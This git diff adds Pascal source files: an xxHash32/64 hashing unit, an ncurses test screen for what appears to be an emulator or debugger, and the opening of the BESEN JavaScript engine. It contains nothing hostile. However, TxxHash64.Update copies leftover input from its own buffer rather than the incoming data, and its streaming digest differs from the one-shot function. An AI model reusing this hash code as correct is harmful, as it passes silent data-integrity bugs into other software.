ABuffer: array of Byte; ASeed: LongWord = 0): LongWord; overload; + function xxHash32Calc(const AString: string; ASeed: LongWord = 0): LongWord; overload; + + function xxHash64Calc(ABuffer: Pointer; ALength: Cardinal; ASeed: QWord = 0): + QWord; overload; + function xxHash64Calc(const ABuffer: array of Byte; ASeed: QWord = 0): QWord; overload; + function xxHash64Calc(const AString: string; ASeed: QWord = 0): QWord; overload; + +implementation + +{$IFNDEF FPC} +{$IFOPT Q+}{$DEFINE OVERFLOWCHECKSON}{$ENDIF} +{$Q-} +function RoLWord(Value: Word; N: Integer): Word; inline; +begin + Result:= ((Value shl N) and $ffff) or (Value shr (16-N)); +end; + +function RoRWord(Value: Word; N: Integer): Word; inline; +begin + Result:= (Value shr N) or ((Value shl (16-N)) and $ffff); +end; + +function RolDWord(Value: Cardinal; N: Integer): Cardinal; inline; +begin + Result:= (Value shl N) or (Value shr (32-N)); +end; + +function RoRDWord(Value: Cardinal; N: Integer): Cardinal; inline; +begin + Result:= (Value shr N) or (Value shl (32-N)); +end; + +(* The following two functions will blow up if inlined in Delphi 2007 *) +function RoLQWord(Value: Int64; N: Integer): Int64; {$IFNDEF VER180} inline; {$ENDIF} +begin + Result:= (Value shl N) or (Value shr (64-N)); +end; + +function RoRQWord(Value: Int64; N: Integer): Int64; {$IFNDEF VER180} inline; {$ENDIF} +begin + Result:= (Value shr N) or (Value shl (64-N)); +end; +{$IFDEF OVERFLOWCHECKSON}{$Q+}{$ENDIF} +{$ENDIF} + +function xxHash32Calc(ABuffer: Pointer; ALength: LongInt; ASeed: LongWord = 0): LongWord; +var v1, v2, v3, v4: LongWord; + pLimit, pEnd: Pointer; +begin + pEnd := {%H-}Pointer({%H-}NativeInt(ABuffer) + ALength); + if ALength >= 16 then + begin + pLimit := {%H-}Pointer({%H-}NativeInt(pEnd) - 16); + v1 := ASeed + cPrime32x1 + cPrime32x2; + v2 := ASeed + cPrime32x2; + v3 := ASeed; + v4 := ASeed - cPrime32x1; + + repeat + v1 := cPrime32x1 * RolDWord(v1 + cPrime32x2 * PLongWord(ABuffer)^, 13); + v2 := cPrime32x1 * RolDWord(v2 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(ABuffer)+4)^, 13); + v3 := cPrime32x1 * RolDWord(v3 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(ABuffer)+8)^, 13); + v4 := cPrime32x1 * RolDWord(v4 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(ABuffer)+12)^, 13); + inc({%H-}NativeUInt(ABuffer), 16); + until not ({%H-}NativeUInt(ABuffer) <= {%H-}NativeUInt(pLimit)); + + Result := RolDWord(v1, 1) + RolDWord(v2, 7) + RolDWord(v3, 12) + RolDWord(v4, 18); + end else + Result := ASeed + cPrime32x5; + + inc(Result, ALength); + + while {%H-}NativeUInt(ABuffer) <= ({%H-}NativeUInt(pEnd) - 4) do + begin + Result := Result + PLongWord(ABuffer)^ * cPrime32x3; + Result := RolDWord(Result, 17) * cPrime32x4; + inc({%H-}NativeUInt(ABuffer), 4); + end; + + while {%H-}NativeUInt(ABuffer) < {%H-}NativeUInt(pEnd) do + begin + Result := Result + PByte(ABuffer)^ * cPrime32x5; + Result := RolDWord(Result, 11) * cPrime32x1; + inc({%H-}NativeUInt(ABuffer)); + end; + + Result := Result xor (Result shr 15); + Result := Result * cPrime32x2; + Result := Result xor (Result shr 13); + Result := Result * cPrime32x3; + Result := Result xor (Result shr 16); +end; + +function xxHash32Calc(const ABuffer: array of Byte; ASeed: LongWord): LongWord; +begin + Result := xxHash32Calc(@ABuffer[0], length(ABuffer), ASeed); +end; + +function xxHash32Calc(const AString: string; ASeed: LongWord): LongWord; +begin + Result := xxHash32Calc({$IFNDEF FPC}TEncoding.UTF8.GetBytes{$ELSE} PChar {$ENDIF}(AString), length(AString), ASeed); +end; + +function xxHash64Calc(ABuffer: Pointer; ALength: Cardinal; ASeed: QWord = 0): + QWord; +var v1, v2, v3, v4: QWord; + pLimit, pEnd: Pointer; +begin + pEnd := {%H-}Pointer({%H-}NativeUInt(ABuffer) + ALength); + + if ALength >= 32 then + begin + v1 := ASeed + cPrime64x1 + cPrime64x2; + v2 := ASeed + cPrime64x2; + v3 := ASeed; + v4 := ASeed - cPrime64x1; + + pLimit := {%H-}Pointer({%H-}NativeUInt(pEnd) - 32); + repeat + v1 := cPrime64x1 * RolQWord(v1 + cPrime64x2 * PQWord(ABuffer)^, 31); + v2 := cPrime64x1 * RolQWord(v2 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(ABuffer)+8)^, 31); + v3 := cPrime64x1 * RolQWord(v3 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(ABuffer)+16)^, 31); + v4 := cPrime64x1 * RolQWord(v4 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(ABuffer)+24)^, 31); + inc({%H-}NativeUInt(ABuffer), 32); + until not ({%H-}NativeUInt(ABuffer) <= {%H-}NativeUInt(pLimit)); + + Result := RolQWord(v1, 1) + RolQWord(v2, 7) + RolQWord(v3, 12) + RolQWord(v4, 18); + + v1 := RolQWord(v1 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v1) * cPrime64x1 + cPrime64x4; + + v2 := RolQWord(v2 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v2) * cPrime64x1 + cPrime64x4; + + v3 := RolQWord(v3 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v3) * cPrime64x1 + cPrime64x4; + + v4 := RolQWord(v4 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v4) * cPrime64x1 + cPrime64x4; + end else + Result := ASeed + cPrime64x5; + + inc(Result, ALength); + + while {%H-}NativeUInt(ABuffer) <= ({%H-}NativeUInt(pEnd) - 8) do + begin + Result := Result xor (cPrime64x1 * RolQWord(cPrime64x2 * PQWord(ABuffer)^, 31)); + Result := RolQWord(Result, 27) * cPrime64x1 + cPrime64x4; + inc({%H-}NativeUInt(ABuffer), 8); + end; + + if {%H-}NativeUInt(ABuffer) <= ({%H-}NativeUInt(pEnd) - 4) then + begin + Result := (Result xor PLongWord(ABuffer)^) * cPrime64x1; + Result := RolQWord(Result, 23) * cPrime64x2 + cPrime64x3; + inc({%H-}NativeUInt(ABuffer), 4); + end; + + while {%H-}NativeUInt(ABuffer) < {%H-}NativeUInt(pEnd) do + begin + Result := Result xor (PByte(ABuffer)^ * cPrime64x5); + Result := RolQWord(Result, 11) * cPrime64x1; + inc({%H-}NativeUInt(ABuffer)); + end; + + Result := Result xor (Result shr 33); + Result := Result * cPrime64x2; + Result := Result xor (Result shr 29); + Result := Result * cPrime64x3; + Result := Result xor (Result shr 32); +end; + +function xxHash64Calc(const ABuffer: array of Byte; ASeed: QWord): QWord; +begin + Result := xxHash64Calc(@ABuffer[0], length(ABuffer), ASeed); +end; + +function xxHash64Calc(const AString: string; ASeed: QWord): QWord; +begin + Result := xxHash64Calc({$IFNDEF FPC}TEncoding.UTF8.GetBytes{$ELSE} PChar {$ENDIF}(AString), length(AString), ASeed); +end; + +{ TxxHash32 } + +constructor TxxHash32.Create(ASeed: LongWord); +begin + FSeed := ASeed; + Reset; + GetMem(FBuffer, 16); +end; + +destructor TxxHash32.Destroy; +begin + Freemem(FBuffer, 16); + inherited Destroy; +end; + +function TxxHash32.Digest: LongWord; +var pBuffer, pEnd: Pointer; +begin + if FTotalLength >= 16 + then Result := RolDWord(FV1, 1) + RolDWord(FV2, 7) + RolDWord(FV3, 12) + RolDWord(FV4, 18) + else Result := Seed + cPrime32x5; + inc(Result, FTotalLength); + + pBuffer := FBuffer; + pEnd := {%H-}Pointer({%H-}NativeUInt(pBuffer) + FMemSize); + while {%H-}NativeUInt(pBuffer) <= ({%H-}NativeUInt(pEnd) - 4) do + begin + Result := Result + PLongWord(pBuffer)^ * cPrime32x3; + Result := RolDWord(Result, 17) * cPrime32x4; + inc({%H-}NativeUInt(pBuffer), 4); + end; + + while {%H-}NativeUInt(pBuffer) < {%H-}NativeUInt(pEnd) do + begin + Result := Result + PByte(pBuffer)^ * cPrime32x5; + Result := RolDWord(Result, 11) * cPrime32x1; + inc({%H-}NativeUInt(pBuffer)); + end; + + Result := Result xor (Result shr 15); + Result := Result * cPrime32x2; + Result := Result xor (Result shr 13); + Result := Result * cPrime32x3; + Result := Result xor (Result shr 16); +end; + +procedure TxxHash32.Reset; +begin + FV1 := Seed + cPrime32x1 + cPrime32x2; + FV2 := Seed + cPrime32x2; + FV3 := Seed + 0; + FV4 := Seed - cPrime32x1; + FTotalLength := 0; + FMemSize := 0; +end; + +function TxxHash32.Update(ABuffer: Pointer; ALength: Cardinal): Boolean; +var v1, v2, v3, v4: LongWord; + pHelp, pEnd, pLimit: Pointer; +begin + FTotalLength := FTotalLength + ALength; + + if (FMemSize + ALength) < 16 then { not enough data, store them to the next Update } + begin + pHelp := {%H-}Pointer({%H-}NativeUInt(FBuffer) + FMemSize); + Move(ABuffer^, pHelp^, ALength); + FMemSize := FMemSize + ALength; + Result := True; + Exit; { Exit! } + end; + + pEnd := {%H-}Pointer({%H-}NativeUInt(ABuffer) + ALength); + + if FMemSize > 0 then { some data left from the previous Update } + begin + pHelp := {%H-}Pointer({%H-}NativeUInt(FBuffer) + FMemSize); + Move(ABuffer^, pHelp^, 16 - FMemSize); + + FV1 := cPrime32x1 * RolDWord(FV1 + cPrime32x2 * PLongWord(FBuffer)^, 13); + FV2 := cPrime32x1 * RolDWord(FV2 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(FBuffer) + 4)^, 13); + FV3 := cPrime32x1 * RolDWord(FV3 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(FBuffer) + 8)^, 13); + FV4 := cPrime32x1 * RolDWord(FV4 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(FBuffer) + 12)^, 13); + + ABuffer := {%H-}Pointer({%H-}NativeUInt(ABuffer) + (16 - FMemSize)); + FMemSize := 0; + end; + + if {%H-}NativeUInt(ABuffer) <= ({%H-}NativeUInt(pEnd) - 16) then + begin + v1 := FV1; + v2 := FV2; + v3 := FV3; + v4 := FV4; + + pLimit := {%H-}Pointer({%H-}NativeUInt(pEnd) - 16); + repeat + v1 := cPrime32x1 * RolDWord(v1 + cPrime32x2 * PLongWord(ABuffer)^, 13); + v2 := cPrime32x1 * RolDWord(v2 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(ABuffer)+4)^, 13); + v3 := cPrime32x1 * RolDWord(v3 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(ABuffer)+8)^, 13); + v4 := cPrime32x1 * RolDWord(v4 + cPrime32x2 * {%H-}PLongWord({%H-}NativeUInt(ABuffer)+12)^, 13); + inc({%H-}NativeUInt(ABuffer), 16); + until not ({%H-}NativeUInt(ABuffer) <= {%H-}NativeUInt(pLimit)); + + FV1 := v1; + FV2 := v2; + FV3 := v3; + FV4 := v4; + end; + + if {%H-}NativeUInt(ABuffer) < {%H-}NativeUInt(pEnd) then { store remaining data to the next Update or to Digest } + begin + pHelp := FBuffer; + Move(ABuffer^, pHelp^, {%H-}NativeUInt(pEnd) - {%H-}NativeUInt(ABuffer)); + FMemSize := {%H-}NativeUInt(pEnd) - {%H-}NativeUInt(ABuffer); + end; + + Result := True; +end; + +{ TxxHash64 } + +constructor TxxHash64.Create(ASeed: QWord); +begin + FSeed := ASeed; + Reset; + GetMem(FBuffer, 32); +end; + +destructor TxxHash64.Destroy; +begin + Freemem(FBuffer, 32); + inherited Destroy; +end; + +function TxxHash64.Digest: QWord; +var v1, v2, v3, v4: QWord; + pBuffer, pEnd: Pointer; +begin + if FTotalLength >= 32 then + begin + v1 := FV1; + v2 := FV2; + v3 := FV3; + v4 := FV4; + + Result := RolQWord(v1, 1) + RolQWord(v2, 7) + RolQWord(v3, 12) + RolQWord(v4, 18); + + v1 := RolQWord(v1 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v1) * cPrime64x1 + cPrime64x4; + + v2 := RolQWord(v2 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v2) * cPrime64x1 + cPrime64x4; + + v3 := RolQWord(v3 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v3) * cPrime64x1 + cPrime64x4; + + v4 := RolQWord(v4 * cPrime64x2, 31) * cPrime64x1; + Result := (Result xor v4) * cPrime64x1 + cPrime64x4; + end else + Result := Seed + cPrime64x5; + + Result := Result + FTotalLength; + + pBuffer := FBuffer; + pEnd := {%H-}Pointer({%H-}NativeUInt(pBuffer) + FMemSize); + while {%H-}NativeUInt(pBuffer) <= ({%H-}NativeUInt(pEnd) - 8) do + begin + Result := Result xor (cPrime64x1 * RolQWord(cPrime64x2 * PQWord(pBuffer)^, 31)); + Result := RolQWord(Result, 27) * cPrime64x1 + cPrime64x4; + inc({%H-}NativeUInt(pBuffer), 8); + end; + + if {%H-}NativeUInt(pBuffer) <= ({%H-}NativeUInt(pEnd) - 4) then + begin + Result := (Result xor PLongWord(pBuffer)^) * cPrime64x1; + Result := RolQWord(Result, 23) * cPrime64x2 + cPrime64x3; + inc({%H-}NativeUInt(pBuffer), 4); + end; + + while {%H-}NativeUInt(pBuffer) < {%H-}NativeUInt(pEnd) do + begin + Result := (Result xor PByte(pBuffer)^) * cPrime64x5; + Result := RolQWord(Result, 11) * cPrime64x1; + inc({%H-}NativeUInt(pBuffer)); + end; + + Result := Result xor (Result shr 33); + Result := Result * cPrime64x2; + Result := Result xor (Result shr 29); + Result := Result * cPrime64x3; + Result := Result xor (Result shr 32); +end; + +procedure TxxHash64.Reset; +begin + FV1 := Seed + cPrime64x1 + cPrime64x2; + FV2 := Seed + cPrime64x2; + FV3 := Seed + 0; + FV4 := Seed - cPrime64x1; + FTotalLength := 0; + FMemSize := 0; +end; + +function TxxHash64.Update(ABuffer: Pointer; ALength: LongWord): Boolean; +var v1, v2, v3, v4: QWord; + pHelp, pEnd, pLimit: Pointer; +begin + FTotalLength := FTotalLength + ALength; + if (FMemSize + ALength) < 32 then { not enough data, store them to the next Update } + begin + pHelp := {%H-}Pointer({%H-}NativeUInt(FBuffer) + FMemSize); + Move(ABuffer^, pHelp^, ALength); + FMemSize := FMemSize + ALength; + Result := True; + Exit; { Exit! } + end; + + pEnd := {%H-}Pointer({%H-}NativeUInt(ABuffer) + ALength); + + if FMemSize > 0 then { some data left from the previous Update } + begin + pHelp := {%H-}Pointer({%H-}NativeUInt(FBuffer) + FMemSize); + Move(FBuffer^, pHelp^, 32 - FMemSize); + + FV1 := cPrime64x1 * RolQWord(FV1 + cPrime64x2 * PQWord(FBuffer)^, 31); + FV2 := cPrime64x1 * RolQWord(FV2 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(FBuffer)+8)^, 31); + FV3 := cPrime64x1 * RolQWord(FV3 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(FBuffer)+16)^, 31); + FV4 := cPrime64x1 * RolQWord(FV4 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(FBuffer)+24)^, 31); + + ABuffer := {%H-}Pointer({%H-}NativeUInt(ABuffer) + (32 - FMemSize)); + FMemSize := 0; + end; + + if {%H-}NativeUInt(ABuffer) <= ({%H-}NativeUInt(pEnd) - 32) then + begin + v1 := FV1; + v2 := FV2; + v3 := FV3; + v4 := FV4; + + pLimit := {%H-}Pointer({%H-}NativeUInt(pEnd) - 32); + repeat + v1 := cPrime64x1 * RolQWord(v1 + cPrime64x2 * PQWord(ABuffer)^, 31); + v2 := cPrime64x1 * RolQWord(v2 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(ABuffer)+8)^, 31); + v3 := cPrime64x1 * RolQWord(v3 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(ABuffer)+16)^, 31); + v4 := cPrime64x1 * RolQWord(v4 + cPrime64x2 * {%H-}PQWord({%H-}NativeUInt(ABuffer)+24)^, 31); + inc({%H-}NativeUInt(ABuffer), 32); + until not ({%H-}NativeUInt(ABuffer) <= {%H-}NativeUInt(pLimit)); + + FV1 := v1; + FV2 := v2; + FV3 := v3; + FV4 := v4; + end; + + if {%H-}NativeUInt(ABuffer) < {%H-}NativeUInt(pEnd) then { store remaining data to the next Update or to Digest } + begin + pHelp := FBuffer; + Move(ABuffer^, pHelp^, {%H-}NativeUInt(pEnd) - {%H-}NativeUInt(ABuffer)); + FMemSize := {%H-}NativeUInt(pEnd) - {%H-}NativeUInt(ABuffer); + end; + + Result := True; +end; + +end. + diff --git a/Core/GUI/gui.pas b/Core/GUI/gui.pas new file mode 100644 index 0000000..420ef9a --- /dev/null +++ b/Core/GUI/gui.pas @@ -0,0 +1,120 @@ +unit GUI; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, math, ncurses; + +type + window_t = record + width : UInt32; + height : UInt32; + title : PChar; + border : PWINDOW; + content : PWINDOW; + end; + + +procedure GuiTest(); + +implementation + +var + registers, stack, code, console : window_t; + parent_y, parent_x : LongInt; + EAX : DWORD = 0; + +const + CONSOLE_HEIGHT = (5 + 2) ; + REGISTER_WIDTH = (14 + 2); + STACK_WIDTH = (21 + 2); + +procedure init_window(var w : window_t; y ,x : UInt32; + height,width : UInt32; + title : PChar); +begin + w.width := width - 2; + w.width := width - 2; + w.height := height - 2; + w.title := title; + w.border := newwin(height, width, y, x); + w.content := newwin(height - 2, width -2, y + 1, x + 1); +end; + +procedure draw_window(var w : window_t); +begin + wattron(w.border, COLOR_PAIR(1)); + box(w.border, 0, 0); + wattroff(w.border, COLOR_PAIR(1)); + wattron(w.border, COLOR_PAIR(2)); + mvwprintw(w.border, 0, 2, '[%s]', w.title); + wattroff(w.border, COLOR_PAIR(2)); + wrefresh(w.border); + wrefresh(w.content) +end; + +procedure render(); +begin + mvwprintw(registers.content, 0, 0, ' EAX: %8.x', EAX); + draw_window(registers); + + mvwprintw(console.content, 0, 0, '%s ', 'Cmu > '); + draw_window(console); +end; + +procedure GuiTest(); +var + Buff : PChar; + cmd : string; + CH : Char; +begin + initscr; + + cbreak(); // Immediate key input + nonl(); // Get return key + timeout(0); // Non-blocking input + keypad(stdscr, True); // Fix keypad . + nodelay(stdscr, True); + //noecho(); // No automatic printing + curs_set(0); // Hide real cursor + intrflush(stdscr, False); // Avoid potential graphical issues + leaveok(stdscr, True); // Don't care where cursor is left + + + getmaxyx(stdscr,parent_y, parent_x); + + init_window(registers, 0, 0, parent_y - CONSOLE_HEIGHT, REGISTER_WIDTH, 'REGISTERS'); + init_window(stack, 0, parent_x - STACK_WIDTH, parent_y - CONSOLE_HEIGHT, STACK_WIDTH, 'STACK'); + init_window(code, 0, REGISTER_WIDTH, parent_y - CONSOLE_HEIGHT, parent_x - REGISTER_WIDTH - STACK_WIDTH, 'CODE'); + init_window(console, parent_y - CONSOLE_HEIGHT, 0, CONSOLE_HEIGHT, parent_x, 'CONSOLE'); + + start_color; + init_pair(1, COLOR_GREEN, COLOR_BLACK); + init_pair(2, COLOR_BLACK, COLOR_GREEN); + init_pair(3, COLOR_RED, COLOR_BLACK); + init_pair(4, COLOR_BLUE, COLOR_BLACK); + + Buff := AllocMem(1024); + Randomize; + while True do + begin + EAX := RandomRange($10000000,$7FFFFFFF); + render(); + + wgetnstr(console.content,Buff,1024 -1); + //CH := chr(wgetch(console.content)); + cmd := String(Buff); + if cmd <> '' then + begin + if cmd = 'q' then + Break + end; + napms(1000 div 60); + end; + endwin; +end; + +end. + diff --git a/Core/JS/BESEN.inc b/Core/JS/BESEN.inc new file mode 100644 index 0000000..ef0e2a4 --- /dev/null +++ b/Core/JS/BESEN.inc @@ -0,0 +1,305 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +{$ifdef fpc} + {$mode delphi} + {$ifdef cpui386} + {$define cpu386} + {$endif} + {$ifdef cpu386} + {$asmmode intel} + {$endif} + {$ifdef cpuamd64} + {$asmmode intel} + {$endif} + {$ifdef FPC_LITTLE_ENDIAN} + {$define LITTLE_ENDIAN} + {$else} + {$ifdef FPC_BIG_ENDIAN} + {$define BIG_ENDIAN} + {$endif} + {$endif} + {$pic off} + {$define caninline} + {$ifdef FPC_HAS_TYPE_EXTENDED} + {$define HAS_TYPE_EXTENDED} + {$else} + {$undef HAS_TYPE_EXTENDED} + {$endif} + {$ifdef FPC_HAS_TYPE_DOUBLE} + {$define HAS_TYPE_DOUBLE} + {$else} + {$undef HAS_TYPE_DOUBLE} + {$endif} + {$ifdef FPC_HAS_TYPE_SINGLE} + {$define HAS_TYPE_SINGLE} + {$else} + {$undef HAS_TYPE_SINGLE} + {$endif} +{$else} + {$realcompatibility off} + {$localsymbols on} + {$define LITTLE_ENDIAN} + {$ifndef cpu64} + {$define cpu32} + {$endif} + {$define HAS_TYPE_EXTENDED} + {$define HAS_TYPE_DOUBLE} + {$define HAS_TYPE_SINGLE} + {$ifndef BCB} + {$ifdef ver120} + {$define Delphi4or5} + {$endif} + {$ifdef ver130} + {$define Delphi4or5} + {$endif} + {$ifdef ver140} + {$define Delphi6} + {$endif} + {$ifdef ver150} + {$define Delphi7} + {$endif} + {$ifdef ver170} + {$define Delphi2005} + {$endif} + {$else} + {$ifdef ver120} + {$define Delphi4or5} + {$define BCB4} + {$endif} + {$ifdef ver130} + {$define Delphi4or5} + {$endif} + {$endif} + {$ifdef ver180} + {$define BDS2006} + {$define Delphi2006} + {$endif} + {$ifdef ver185} + {$define Delphi2007} + {$endif} + {$ifdef ver190} + {$define Delphi2007Net} + {$endif} + {$ifdef ver200} + {$define Delphi2009} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver210} + {$define Delphi2010} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver220} + {$define DelphiXE} + {$define DelphiXEAndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver230} + {$define DelphiXE2} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver240} + {$define DelphiXE3} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver250} + {$define DelphiXE4} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver260} + {$define DelphiXE5} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define DelphiXE5AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver270} + {$define DelphiXE6} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define DelphiXE5AndUp} + {$define DelphiXE6AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver280} + {$define DelphiXE7} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define DelphiXE5AndUp} + {$define DelphiXE6AndUp} + {$define DelphiXE7AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver290} + {$define DelphiXE8} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define DelphiXE5AndUp} + {$define DelphiXE6AndUp} + {$define DelphiXE7AndUp} + {$define DelphiXE8AndUp} + {$define Delphi2009AndUp} + {$endif} + {$ifdef ver300} + {$define Delphi10Seattle} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define DelphiXE5AndUp} + {$define DelphiXE6AndUp} + {$define DelphiXE7AndUp} + {$define DelphiXE8AndUp} + {$define Delphi2009AndUp} + {$define Delphi10SeattleAndUp} + {$endif} + {$ifdef ver310} + {$define Delphi10Berlin} + {$define DelphiXEAndUp} + {$define DelphiXE2AndUp} + {$define DelphiXE3AndUp} + {$define DelphiXE4AndUp} + {$define DelphiXE5AndUp} + {$define DelphiXE6AndUp} + {$define DelphiXE7AndUp} + {$define DelphiXE8AndUp} + {$define Delphi2009AndUp} + {$define Delphi10SeattleAndUp} + {$define Delphi10BerlinAndUp} + {$endif} + {$ifndef Delphi4or5} + {$ifndef BCB} + {$define Delphi6AndUp} + {$endif} + {$ifndef Delphi6} + {$define BCB6OrDelphi7AndUp} + {$ifndef BCB} + {$define Delphi7AndUp} + {$endif} + {$ifndef BCB} + {$ifndef Delphi7} + {$ifndef Delphi2005} + {$define BDS2006AndUp} + {$endif} + {$endif} + {$endif} + {$endif} + {$endif} + {$ifdef Delphi6AndUp} + {$warn symbol_platform off} + {$warn symbol_deprecated off} + {$endif} +{$endif} +{$ifdef win32} + {$define windows} +{$endif} +{$ifdef win64} + {$define windows} +{$endif} +{$ifdef wince} + {$define windows} +{$endif} +{$rangechecks off} +{$extendedsyntax on} +{$writeableconst on} +{$hints off} +{$booleval off} +{$typedaddress off} +{$stackframes off} +{$varstringchecks on} +{$typeinfo on} +{$overflowchecks off} +{$longstrings on} +{$openstrings on} +{$undef UseSafeStringEquals} +{$define strictutf8} +{$define UseOptimizedHashing} +{$define UseAssert} +{$define UseSafeOperations} +{$undef HasJIT} +{$ifdef cpu386} + {$define UseRegister} + {$define HasJIT} + {$undef UseSafeOperations} +{$endif} +{$ifdef cpuamd64} + {$define UseRegister} + {$ifndef windows} + {$define HasJIT} + {$endif} +{$endif} +{$ifdef NextGen} + {$define BESENEmbarcaderoNextGen} + {$define BESENSingleStringType} + {$define PurePascal} + {$ZeroBasedStrings off} +{$endif} +{$ifdef darwin} + {$define PurePascal} +{$endif} +{$ifdef PurePascal} + {$define DisableJIT} + {$undef ForceJIT} +{$endif} +{$ifdef DisableJIT} + {$undef HasJIT} +{$endif} +{$ifdef ForceJIT} + {$define HasJIT} +{$endif} +{$ifdef ForceUseSafeOperations} + {$define UseSafeOperations} +{$endif} +{$ifndef HAS_TYPE_DOUBLE} + {$error No double floating point precision } +{$endif} +{$ifdef DelphiXE2AndUp} + {$ifdef MacOS} + {$define BESENDelphiHasNoSystemTimeMore} + {$endif} +{$endif} + diff --git a/Core/JS/BESEN.pas b/Core/JS/BESEN.pas new file mode 100644 index 0000000..dd293df --- /dev/null +++ b/Core/JS/BESEN.pas @@ -0,0 +1,1866 @@ +(******************************************************************************* + B E S E N +******************************************************************************** + Version: See at line in BESENVersionConstants.pas, which contains "BESENVersion" +-------------------------------------------------------------------------------- + + Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux <benjamin@rosseaux.com> + + Website: www.rosseaux.com + +******************************************************************************** + +BESEN is an acronym for "Bero's EcmaScript Engine", and it is a complete +ECMAScript Fifth Edition Implemention in Object Pascal, which is compilable +with Delphi >=7 and FreePascal >= 2.5.1 (maybe also 2.4.1). + +BESEN contains the following features: + +- Complete implementation of the ECMAScript Fifth Edition standard +- Own bytecode-based ECMA262-complaint Regular Expression Engine +- Incremental praise/exact mark-and-sweep garbage collector +- Unicode UTF8/UCS2/UTF16/UCS4/UTF32 support (on ECMAScript level, UCS2/UTF16) +- Compatibility modes, for example also a facile JavaScript compatibility mode +- Bytecode compiler +- Call-Subroutine-Threaded Register-based virtual machine +- Context-Threaded 32-bit x86 and 64-bit x64/AMD64 Just-in-Time Compiler +- Constant folding +- Dead code elimination +- Abstract-Syntax-Tree based optimizations +- Type inference (both exact and speculative) +- Polymorphic Inline Cache based on object structure and property key IDs +- Perfomance optimized hash maps +- Self balanced trees + +To-Do: + +- Bytecode peephole optimization +- Aggressive bytecode copy propagation (for less read/write register access) +- Optimizing bytecode opcode set, adding more specialized combined superopcodes +- Implement ARM EABI VFPv3 Just-In-time Compiler +- Regular Expression Just-In-Compiler +- Checking/testing the code +- Fix bugs :-) + +******************************************************************************** + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESEN; +{$i BESEN.inc} + +interface + +uses SysUtils,Classes,Math,SyncObjs,TypInfo,Variants,BESENVersionConstants, + BESENConstants,BESENTypes,BESENCharset,BESENStringUtils,BESENOpcodes, + 